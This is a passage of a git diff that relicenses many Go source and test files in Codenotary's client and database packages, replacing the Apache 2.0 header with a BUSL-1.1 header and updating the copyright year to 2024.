http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/stream_test.go b/pkg/client/stream_test.go index 1fd0cfc344..2be952d3b2 100644 --- a/pkg/client/stream_test.go +++ b/pkg/client/stream_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/streams.go b/pkg/client/streams.go index 49a0f967c9..9308984701 100644 --- a/pkg/client/streams.go +++ b/pkg/client/streams.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/streams_integration_test.go b/pkg/client/streams_integration_test.go index 6236d6de60..8d972e9aa6 100644 --- a/pkg/client/streams_integration_test.go +++ b/pkg/client/streams_integration_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/streams_verified_integration_test.go b/pkg/client/streams_verified_integration_test.go index da2246ce03..dd7c98b86c 100644 --- a/pkg/client/streams_verified_integration_test.go +++ b/pkg/client/streams_verified_integration_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/streams_zscan_and_history_integration_test.go b/pkg/client/streams_zscan_and_history_integration_test.go index 4a03f3f2dc..16d8b1a5c2 100644 --- a/pkg/client/streams_zscan_and_history_integration_test.go +++ b/pkg/client/streams_zscan_and_history_integration_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/timestamp/default.go b/pkg/client/timestamp/default.go index d2bd696466..903b9d1ca2 100644 --- a/pkg/client/timestamp/default.go +++ b/pkg/client/timestamp/default.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/timestamp/timestamp_test.go b/pkg/client/timestamp/timestamp_test.go index b11ad7a3e7..dae297e548 100644 --- a/pkg/client/timestamp/timestamp_test.go +++ b/pkg/client/timestamp/timestamp_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/timestamp/tsgenerator.go b/pkg/client/timestamp/tsgenerator.go index 88e7fdcfcf..41ac9bc040 100644 --- a/pkg/client/timestamp/tsgenerator.go +++ b/pkg/client/timestamp/tsgenerator.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/timestamp_service.go b/pkg/client/timestamp_service.go index ce3fae4631..cf68a2c59d 100644 --- a/pkg/client/timestamp_service.go +++ b/pkg/client/timestamp_service.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/timestamp_service_test.go b/pkg/client/timestamp_service_test.go index 2a298029d6..805ef122ec 100644 --- a/pkg/client/timestamp_service_test.go +++ b/pkg/client/timestamp_service_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/token_interceptor.go b/pkg/client/token_interceptor.go index fad53ae378..192c9ac7f4 100644 --- a/pkg/client/token_interceptor.go +++ b/pkg/client/token_interceptor.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/tokenservice/errors.go b/pkg/client/tokenservice/errors.go index 9deb0a74ba..1d55a00c3f 100644 --- a/pkg/client/tokenservice/errors.go +++ b/pkg/client/tokenservice/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/tokenservice/file.go b/pkg/client/tokenservice/file.go index 3427b49007..1ef2baaa04 100644 --- a/pkg/client/tokenservice/file.go +++ b/pkg/client/tokenservice/file.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/tokenservice/inmemory.go b/pkg/client/tokenservice/inmemory.go index 4b596575a5..0d96d5a624 100644 --- a/pkg/client/tokenservice/inmemory.go +++ b/pkg/client/tokenservice/inmemory.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/tokenservice/inmemory_test.go b/pkg/client/tokenservice/inmemory_test.go index b0bc4ac0f8..e8f5cb3b1a 100644 --- a/pkg/client/tokenservice/inmemory_test.go +++ b/pkg/client/tokenservice/inmemory_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/tokenservice/token_service.go b/pkg/client/tokenservice/token_service.go index 24a6653973..0612bffbd8 100644 --- a/pkg/client/tokenservice/token_service.go +++ b/pkg/client/tokenservice/token_service.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/tokenservice/token_service_test.go b/pkg/client/tokenservice/token_service_test.go index e31cd55eae..5d9419fef1 100644 --- a/pkg/client/tokenservice/token_service_test.go +++ b/pkg/client/tokenservice/token_service_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/transaction.go b/pkg/client/transaction.go index ce639956bd..275f129448 100644 --- a/pkg/client/transaction.go +++ b/pkg/client/transaction.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/tx_options.go b/pkg/client/tx_options.go index c9d27fc620..32253da4fc 100644 --- a/pkg/client/tx_options.go +++ b/pkg/client/tx_options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/types.go b/pkg/client/types.go index 7481e283aa..57aff40fc1 100644 --- a/pkg/client/types.go +++ b/pkg/client/types.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/types_test.go b/pkg/client/types_test.go index 6f84300a1a..2ffd7b615e 100644 --- a/pkg/client/types_test.go +++ b/pkg/client/types_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/all_ops.go b/pkg/database/all_ops.go index 76005f2ad6..584f1ce95c 100644 --- a/pkg/database/all_ops.go +++ b/pkg/database/all_ops.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/all_ops_test.go b/pkg/database/all_ops_test.go index d71418acf8..6e2126445d 100644 --- a/pkg/database/all_ops_test.go +++ b/pkg/database/all_ops_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/database.go b/pkg/database/database.go index 4af7a0be4d..e9e97760df 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index f4e1f50201..8e157cbf96 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/dboptions.go b/pkg/database/dboptions.go index 0c44b71313..5406d50d8b 100644 --- a/pkg/database/dboptions.go +++ b/pkg/database/dboptions.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/dboptions_test.go b/pkg/database/dboptions_test.go index 45dfe763fd..00874bd473 100644 --- a/pkg/database/dboptions_test.go +++ b/pkg/database/dboptions_test.go @@ -1,9 +1,12 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + + https://mariadb.com/bsl11/ + Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 9a17d4dcd0..26a3dc7669 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index d0d611572f..50a750e310 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/errors.go b/pkg/database/errors.go index 4112a78008..3e0e45b16c 100644 --- a/pkg/database/errors.go +++ b/pkg/database/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/instrumented_rwmutex.go b/pkg/database/instrumented_rwmutex.go index f70ad07270..5e9d8fb7da 100644 --- a/pkg/database/instrumented_rwmutex.go +++ b/pkg/database/instrumented_rwmutex.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/instrumented_rwmutex_test.go b/pkg/database/instrumented_rwmutex_test.go index a632f4d718..a102adcb75 100644 --- a/pkg/database/instrumented_rwmutex_test.go +++ b/pkg/database/instrumented_rwmutex_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/meta.go b/pkg/database/meta.go index 6e927eb434..b968f47ba3 100644 --- a/pkg/database/meta.go +++ b/pkg/database/meta.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/protoconv.go b/pkg/database/protoconv.go index cd0ff5561a..0d3d8ac148 100644 --- a/pkg/database/protoconv.go +++ b/pkg/database/protoconv.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/protoconv_test.go b/pkg/database/protoconv_test.go index f37347b800..ea3b4299ec 100644 --- a/pkg/database/protoconv_test.go +++ b/pkg/database/protoconv_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/reference.go b/pkg/database/reference.go index 9b9bcacfdd..ac8eb175a2 100644 --- a/pkg/database/reference.go +++ b/pkg/database/reference.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/reference_test.go b/pkg/database/reference_test.go index dbd056f403..9d9f810f20 100644 --- a/pkg/database/reference_test.go +++ b/pkg/database/reference_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index a40abdb3b8..248f5d0124 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/scan.go b/pkg/database/scan.go index e043b4c00e..276363c0ac 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/scan_test.go b/pkg/database/scan_test.go index bd78b4ead2..e4c599b042 100644 --- a/pkg/database/scan_test.go +++ b/pkg/database/scan_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index 9bc4629d59..dcbfdc54f1 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/sorted_set_test.go b/pkg/database/sorted_set_test.go index aeebddaa6c..5336f3f42f 100644 --- a/pkg/database/sorted_set_test.go +++ b/pkg/database/sorted_set_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/sql.go b/pkg/database/sql.go index ba44eef567..1b1c885f54 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/sql_test.go b/pkg/database/sql_test.go index 79d4d976c0..2fffcf4e1d 100644 --- a/pkg/database/sql_test.go +++ b/pkg/database/sql_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index 1207436849..9183b180f5 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 22014b69ae..3a64de7bd0 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/database/types.go b/pkg/database/types.go index 9f12697053..f97d26850e 100644 --- a/pkg/database/types.go +++ b/pkg/database/types.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/errors/error.go b/pkg/errors/error.go index 